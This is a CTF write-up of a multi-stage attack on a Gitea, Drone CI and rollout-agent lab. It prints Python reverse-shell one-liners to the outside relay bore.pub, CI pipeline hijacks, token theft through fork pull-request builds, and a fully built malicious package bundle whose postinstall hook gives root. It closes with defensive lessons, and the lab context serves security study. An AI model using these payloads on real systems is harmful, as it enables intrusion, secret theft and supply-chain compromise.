> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/ctf/brunnerctf/the-three-ways-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# The Three Ways Writeup

Two connected challenges built around the same Gitea/Drone/rollout-agent environment. The first stage (**Flow**) gets code execution on the Drone CI runner. The second stage (**Feedback / Continuous Improvement**) escalates that into root on the box running Brunnerne's autonomous, unsigned rollout agent. Along the way there's also a bonus flag hidden in the package registry's version history, found while sweeping for leftovers after the main chain was already solved.

## Recon

The target is a Gitea instance:

```
https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
```

The challenge description ("onboarding note left behind the printer") supplied initial credentials for a low-privilege developer account:

```
brunner_dev : dev_go_brr
```

The first thing I tried was just hitting `/sign-in`, guessing at the login path. That returned 404 because Gitea's actual route is `/user/login`, not `/sign-in`. That path only showed up once I grepped the homepage for the "Sign In" link:

```bash
curl https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz | grep sign
```

Gitea rotates its CSRF token per request and ties it to whatever session cookie you're carrying at the time. Logging in via curl means fetching a fresh token from a GET to `/user/login` and then reusing that *same* cookie jar for the POST. Otherwise, the token won't match the session Gitea has on file and you'll get a 400.

The first time through this, I made the mistake of running the GET and POST as two completely separate curl invocations without sharing a cookie jar. It failed every time with a fresh CSRF token that didn't match. The fix was chaining everything through one jar:

```bash
curl -s -c cookies.txt -b cookies.txt \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  -o login_page.html

CSRF=$(grep -oP '(?<=name="_csrf" value=")[^"]+' login_page.html)

curl -s -c cookies.txt -b cookies.txt \
  -X POST 'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode 'user_name=brunner_dev' \
  --data-urlencode 'password=dev_go_brr' \
  -D - -o response.html
```

Rather than deal with the cookie/CSRF dance at all for read-only recon, it turned out simpler to use Gitea's Basic Auth support directly against the API. `brunner_dev`'s credentials work as HTTP Basic Auth on any `/api/v1/...` endpoint, with no session or token needed:

```bash
curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/user'
```

That confirmed the account worked and returned its profile JSON. Checking the account's own repo page (`/brunner_dev`) showed "No matching repositories found"—the account itself owned nothing, which made sense for a minimal-access contractor.

The actual repos existed elsewhere. The way to find them regardless of ownership was Gitea's cross-owner repo search endpoint:

```bash
curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'
```

That returned two repos `brunner_dev` could see:

* `brunner_ops/ci-bootstrap` (Shell)
* `brunner_admin/hello-drone` (Python, has a `.drone.yml` pipeline)

## Stage 1 — Flow

### Finding a second credential in git history

`ci-bootstrap`'s repo page showed only two commits, and the current one was titled *"read the ci password from the environment"*. That phrasing alone is a strong tell that something got refactored out of hardcoded plaintext and into an environment variable, which usually means the plaintext value is still sitting in the previous commit.

Pulling the commit list confirmed there were exactly two commits to check:

```bash
curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/ci-bootstrap/commits?limit=10' | jq '.[] | {sha, message: .commit.message}'
```

Rather than clone the whole repo just to diff two commits, Gitea serves unified diffs directly at `/commit/<sha>.diff` over HTTP:

```bash
curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ops/ci-bootstrap/commit/ec5ccfcb240129041410db0e12b50b9e8a9245e6.diff'
```

The diff showed exactly what the commit message implied: a plaintext `GITEA_PASSWORD` for a CI service account, replaced in this same commit with an environment-variable reference. The plaintext value only existed in the parent commit and was never actually rotated:

```
GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a
```

### Privilege check

With the new credential in hand, the same `repos/search` trick was run again, this time authenticated as `brunner_ci`:

```bash
curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'
```

`brunner_ci` could see one additional private repo, `brunner_ops/deploy-tools`, on top of the same two public repos `brunner_dev` had access to.

That confirmed `brunner_ci` had push access on the public `hello-drone` repo, which has an active Drone pipeline, and at least pull access on the private `deploy-tools`.

### CI pipeline abuse → shell

`hello-drone`'s `.drone.yml` ran on every push with no review gate:

```yaml
kind: pipeline
type: exec
name: default
platform:
  os: linux
  arch: amd64
steps:
  - name: test
    commands:
      - python -m unittest discover -v
  - name: build
    commands:
      - python app.py
  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"
```

`type: exec` pipelines run raw shell commands directly on the runner host, without container isolation. The `app.py` in the repo itself was a harmless fizzbuzz sample, so the payload was delivered by adding a new step to the pipeline config.

The first reverse-shell attempt used bash's `/dev/tcp/...` pseudo-device. It failed because the runner's `sh` resolves to `dash`, which does not implement that construct:

```
line 5: can't create /dev/tcp/bore.pub/54872: nonexistent directory
```

Since the `build` step already proved `python`/`python3` was available on the runner, switching to a Python socket one-liner sidestepped the shell-dialect issue:

```yaml
  - name: shell
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

Pushing that as `brunner_ci` triggered a build automatically:

```bash
git add .drone.yml
git commit -m "python reverse shell"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_admin/hello-drone.git main
```

The listener caught a shell as `drone`:

```
id
uid=1000(drone) gid=1000(drone) groups=1000(drone)
```

The flag for this stage sat directly in the CI user's home directory:

```bash
cat /home/drone/flag.txt
```

```
brunner{4ch13v3_4bs0lut3_fl0w_st4t3}
```

## Stage 2 — Feedback / Continuous Improvement

### The target: an unsigned autonomous rollout agent

Enumerating the box from the `drone` shell turned up `/usr/local/bin/rollout-agent.py`, running as PID 28 under **root**. It was world-readable, so reading the source directly showed its full logic:

* Polls a Gitea generic package registry (`brunner_registry/rollout-bundle`) every 30 seconds.
* Picks the highest version number it has not already installed. `newest()` does numeric-chunk comparison, so `2.0.0` beats `1.10.0` correctly rather than comparing as strings.
* Downloads the tarball, extracts it, and validates it against three checks only:
  1. `manifest.json` package/version fields match.
  2. Every shipped file appears in a `SHA256SUMS` file with a matching hash.
  3. No symlinks or path traversal.
* Runs `hooks/postinstall` from the bundle **as root**, with a 60-second timeout.
* Has no signature verification anywhere in the chain.

The challenge description spells this out directly: *"it's tireless, it's trusting and it runs with the utmost privilege... signing artifacts... added that to the backlog."*

`/etc/platform/registry.conf` was also world-readable and gave the registry endpoint and org name. `/etc/platform/rollout.conf`, the file actually holding the `REGISTRY_USER`/`REGISTRY_PASSWORD` used by the agent, was locked to `600 root:root`, so it was not readable from the `drone` shell.

### Getting registry write access

Neither `brunner_dev` nor `brunner_ci` had package-write access on the `brunner_registry` org. Every upload attempt returned `reqPackageAccess`, both with basic authentication and with a freshly minted API token. That ruled out a token-scope problem and pointed at org membership as the blocker.

The `deploy-tools` repo's README, readable through the `brunner_ci` pull-only clone, spelled out the intended path:

```
Tooling for building and verifying rollout bundles. Read-only members can open pull requests.
```

Gitea allows forking and opening a pull request even with pull-only access on the base repo. Combined with Drone injecting the *target* repo's secrets into PR-triggered builds—even when the PR originates from a fork with no push access to the base repo—this made it possible to run a CI job with `deploy-tools` secrets using only pull rights:

```bash
curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/forks"

git clone https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git
cd deploy-tools && git checkout -b pwn
```

The `verify-release` step in `.drone.yml` was scoped with `REGISTRY_TOKEN: from_secret: registry_token`, so that was the step whose command got swapped for the same reverse-shell one-liner from Stage 1, on a fresh listener port:

```yaml
  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

```bash
git add .drone.yml && git commit -m "test release verification"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git pwn

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  -d '{"head":"brunner_ci:pwn","base":"main","title":"test release verification"}' \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/pulls"
```

Opening the PR triggered a Drone build against the base repo. Dumping the process environment inside the reverse shell showed the secret in the clear:

```
DRONE_BUILD_EVENT=pull_request
DRONE_COMMIT_REF=refs/pull/2/head
REGISTRY_TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
```

The challenge description's claim that "our logs are appropriately redacted" only holds for literal string matches in captured stdout. Drone's log masking replaces known secret values with `***` when they appear verbatim in logged build output.

A reverse shell bypasses that pipeline completely. Nothing from the interactive shell session is routed through Drone's log capture, so the token was visible directly in the process environment rather than being scrubbed.

### Building and uploading a malicious bundle

With `REGISTRY_TOKEN` in hand, the next step was assembling a bundle that would pass `rollout-agent.py`'s validation, matching the directory structure produced by `make-bundle.sh` in `deploy-tools`:

```bash
mkdir -p /tmp/evilsrc/hooks
cat > /tmp/evilsrc/hooks/postinstall << 'EOF'
#!/bin/sh
setsid python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' < /dev/null > /dev/null 2>&1 &
disown
exit 0
EOF
chmod +x /tmp/evilsrc/hooks/postinstall

WORK=$(mktemp -d)
mkdir -p "$WORK/bundle/hooks"
cp /tmp/evilsrc/hooks/postinstall "$WORK/bundle/hooks/"

cat > "$WORK/bundle/manifest.json" << 'EOF'
{
  "package": "rollout-bundle",
  "version": "2.6.0",
  "hooks": { "postinstall": "hooks/postinstall" }
}
EOF

( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/bundle/SHA256SUMS"

tar -czf /tmp/dist/rollout-bundle-2.6.0.tar.gz -C "$WORK" bundle

curl -s -H "Authorization: token $REGISTRY_TOKEN" \
  --upload-file /tmp/dist/rollout-bundle-2.6.0.tar.gz \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/2.6.0/rollout-bundle-2.6.0.tar.gz"
```

The first attempt, uploaded as version `2.5.0`, failed silently after 60 seconds. The hook ran an interactive reverse shell directly in the foreground, which meant the hook process never returned—it remained blocked on the shell.

`rollout-agent.py` enforces `HOOK_TIMEOUT = 60`, so once that window passed, the agent killed the process tree before the shell could be used:

```
2026-08-23T05:43:39Z postinstall for 2.5.0 timed out after 60s
```

The fix was detaching the reverse shell from the hook script entirely:

* `setsid ... &` starts the shell in a new session.
* `disown` removes it from the parent shell's job table.
* Redirecting stdin, stdout, and stderr away from the parent prevents the hook from blocking on those file descriptors.
* `exit 0` lets the hook script return well inside the 60-second timeout.

The background shell keeps running after the hook process, and the agent's wait on it, have finished.

### Root

The agent picked up `2.6.0` on its next 30-second poll, validated the self-generated checksums, and ran the hook as root:

```
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys,4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

```bash
cat /root/flag.txt
```

```
brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
```

## Bonus: a third flag hidden in the package registry's version history

After landing root, I swept for leftovers: old build logs, prior package versions, and other endpoints. This was not part of the intended privilege chain, but it was worth checking given that the challenge already revolved around data surviving in history after it was supposedly removed.

The Gitea session used earlier for the login-form flow had gone stale, so the first block re-established both a Gitea session cookie and a separate Drone session. It chained the Gitea login redirect into Drone's OAuth-style login:

```bash
TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
GITEA=https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
DRONE=https://drone-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

# Refresh drone session
rm -f /tmp/cj.txt /tmp/cj2.txt
curl -s -c /tmp/cj.txt "$GITEA/user/login" -o /tmp/lp.html
CSRF=$(python3 -c "import re; print(re.search(r'name=\"_csrf\" value=\"([^\"]+)\"', open('/tmp/lp.html').read()).group(1))")
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -L -d "_csrf=$CSRF&user_name=brunner_ci&password=9d41c07be5a8426fa3c15b2e70f8d63a" "$GITEA/user/login" -o /dev/null
curl -s -b /tmp/cj.txt -c /tmp/cj2.txt -D /tmp/h1.txt -o /dev/null "$DRONE/login"
LOC1=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h1.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -D /tmp/h2.txt -o /dev/null "$LOC1"
LOC2=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h2.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj2.txt -c /tmp/cj2.txt -L -o /dev/null "$LOC2"
```

Drone's session cookie only gets set at the end of that OAuth-style redirect chain. Each `Location:` header had to be followed manually because intermediate hops needed the Gitea cookie jar and the final hop needed the Drone cookie jar. Mixing them up resulted in getting bounced back to a login page instead of an authenticated session.

With a working Drone session, the next block walked every build on every repo that had ever run a pipeline. For each build, it tried fetching logs from each of the first six steps and grepped for anything matching the flag format:

```bash
echo '=== drone builds all logs grep ==='
for repo in brunner_ops/deploy-tools brunner_admin/hello-drone brunner_ci/deploy-tools; do
  builds=$(curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds" 2>/dev/null)
  echo "REPO $repo: $(echo "$builds" | head -c 80)"
  nums=$(echo "$builds" | python3 -c 'import sys,json
try:
 d=json.load(sys.stdin)
 print(" ".join(str(b["number"]) for b in d[:15]))
except: pass' 2>/dev/null)
  for n in $nums; do
    for s in 1 2 3 4 5 6; do
      curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds/$n/logs/1/$s" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HIT $repo build $n step $s: $f"; done
    done
  done
done
```

That returned nothing. `brunner_ci/deploy-tools`, the forked copy, was not even registered as a repo in Drone, and no build log on the other two repos contained a flag.

That ruled out the build-log angle and pointed the search toward the package registry itself, since `rollout-agent.py` had been pulling numbered versions from `brunner_registry/rollout-bundle` and only `2.6.0` had been inspected directly.

The version list (`1.4.0` through `2.5.0`) was a guess at a plausible release cadence. The versions already seen—`2.5.0`, which hit the hook timeout, and `2.6.0`, which finally worked—suggested the registry had been seeded with prior releases before I had registry access.

Each version was checked individually: download the tarball, verify it is valid gzip, extract it, then grep for a flag. A 404 for a nonexistent version returns an error body rather than a tarball, so `tar -tzf` fails cleanly.

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.0/rollout-bundle-1.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.2/rollout-bundle-1.4.2.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.5.0/rollout-bundle-1.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.0.0/rollout-bundle-2.0.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.1.0/rollout-bundle-2.1.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.2.0/rollout-bundle-2.2.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.3.0/rollout-bundle-2.3.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.4.0/rollout-bundle-2.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

```bash
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.5.0/rollout-bundle-2.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
```

Every version came back empty except `1.4.2`, which had never appeared anywhere in the main chain and was therefore part of the environment's seeded history:

```
PKG 1.4.2: /tmp/pkgextract/bundle/config/deploy.env:brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}
```

The final sweep checked a few obvious Gitea API and static paths, then re-fetched a handful of HTML pages for flag patterns:

```bash
echo '=== gitea API search various endpoints ==='
for path in \
  '/api/v1/version' \
  '/api/v1/user' \
  '/assets/licenses.txt' \
  '/api/swagger'
 do
  curl -s -H "Authorization: token $TOKEN" "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | head
done

for path in '/' '/explore/repos' '/brunner_ops/deploy-tools' '/brunner_admin/hello-drone'; do
  curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HTML $path: $f"; done
done
```

Those returned nothing, confirming the `1.4.2` bundle was the only extra flag in the environment. Its content, `no_secrets_are_too_secret_for_u`, is a wink at the registry-history angle: the same "old versions never really go away" theme as the git-history credential from Stage 1, relocated from git into the package registry.

## Full chain summary

{% stepper %}
{% step %}

### Initial access

Onboarding notes leaked plaintext credentials for `brunner_dev`.
{% endstep %}

{% step %}

### CI credential recovery

A secret remained in an old git commit and was never rotated, yielding `brunner_ci` credentials with push access to `hello-drone`.
{% endstep %}

{% step %}

### CI runner access

`hello-drone`'s Drone pipeline ran unreviewed code on every push, resulting in a shell as `drone` on the CI runner.
{% endstep %}

{% step %}

### Root deployment target discovery

`rollout-agent.py` on that host polled a package registry every 30 seconds and ran `postinstall` as root with no signature verification—only self-generated `SHA256SUMS`.
{% endstep %}

{% step %}

### Registry write access bypass

Direct package-write access was blocked for available accounts. `deploy-tools` could be forked with pull-only access, then a PR could trigger Drone with target-repo secrets injected.
{% endstep %}

{% step %}

### Registry token extraction

A fork-originated PR build exposed `REGISTRY_TOKEN` through the process environment in a reverse shell, bypassing Drone's log redaction.
{% endstep %}

{% step %}

### Malicious bundle upload

The token allowed uploading a malicious `rollout-bundle`. The first hook attempt was killed by the agent's 60-second timeout because the interactive shell blocked the hook process.
{% endstep %}

{% step %}

### Root access

Detaching the hook with `setsid`, `disown`, and an immediate `exit 0` let the agent complete normally while the shell persisted. The rollout agent ran the detached hook as root.
{% endstep %}

{% step %}

### Bonus flag discovery

A post-root sweep of Drone build logs and historical package versions found a bonus flag in `rollout-bundle` version `1.4.2`, a version never touched during the main chain.
{% endstep %}
{% endstepper %}

## Root cause and lessons

* **Plaintext secrets in onboarding docs and git history:** A secret removed from `HEAD` is not removed. Old commits remain reachable unless history is rewritten and force-pushed, and prior clones or forks can still retain the blob.
* **CI pipelines that run arbitrary code on push with no review:** This is equivalent to granting anyone with push access the privilege level of the CI runner.
* **Fork-and-PR secret injection:** Base-repo secrets should never be exposed to pipelines triggered by external, unreviewed pull requests without an explicit approval gate.
* **Autonomous root deployment with no artifact signing:** A self-generated checksum does not establish artifact provenance. Any attacker who can upload a bundle can satisfy the integrity checks.
* **Registry history matters:** Old package versions are as sensitive as old git commits. Anything uploaded to a registry without appropriate retention and access controls may remain retrievable indefinitely.
